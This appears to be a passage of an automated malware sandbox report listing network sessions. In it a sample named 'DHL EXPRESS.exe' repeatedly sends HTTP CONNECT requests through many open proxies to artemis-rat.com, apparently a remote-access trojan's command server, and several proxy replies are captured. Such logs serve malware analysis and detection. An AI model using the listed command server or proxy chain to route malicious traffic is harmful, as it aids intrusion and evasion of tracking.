Mar 11, 2024 18:37:03.409600973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.503530979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.503321886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.503213882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2029	192.168.2.8	49878	51.75.126.150	37847	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.319802046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.409706116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2030	192.168.2.8	55308	45.11.95.165	6010	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.371376991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2031	192.168.2.8	55301	70.166.167.38	57728	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.408581018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2032	192.168.2.8	50368	192.163.202.88	60964	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.457916975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.456588984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.458158970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.456496000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.456549883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2033	192.168.2.8	49952	103.234.27.153	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.465030909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2034	192.168.2.8	50200	132.148.128.88	29745	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.468440056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.597052097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.707047939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.706717968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.706434965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:36.706386089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:48.707603931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:12.706384897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:39:00.706393003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2035	192.168.2.8	50276	50.199.46.20	32100	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.533111095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2036	192.168.2.8	50139	169.255.198.8	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.555788994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2037	192.168.2.8	50332	202.124.46.97	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.617603064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2038	192.168.2.8	50304	93.171.243.253	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.633040905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2039	192.168.2.8	55312	82.113.157.122	31280	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.644798040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2040	192.168.2.8	55300	52.151.210.204	9000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.654725075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2041	192.168.2.8	50233	154.65.39.7	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.668308020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.706542015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.707380056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.706707954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.706506014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:36.706384897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:48.707657099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:12.707350016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:39:00.706398964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2042	192.168.2.8	54604	164.92.86.113	55651	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.861773968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.909670115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.003612041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.096998930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.096913099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:49.096985102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:37.097125053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2043	192.168.2.8	50502	172.173.132.85	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.885415077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.909655094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.003612041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.097017050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.096920013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:37.096946001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:49.096997023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:13.097223043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2044	192.168.2.8	50616	173.212.209.216	27138	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.918627977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.956444979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.066005945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.065843105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.065690041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:37.190747023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:49.190778971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:13.190783978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:39:01.190732002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2045	192.168.2.8	55290	192.252.216.81	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.921210051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2046	192.168.2.8	50202	102.23.234.201	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.921212912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.170299053 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2047	192.168.2.8	50477	191.102.254.54	8085	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.925323963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.956463099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.979284048 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2048	192.168.2.8	54636	51.15.240.207	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.925863028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.469552040 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2049	192.168.2.8	54630	188.166.28.88	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.926033020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.383898973 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
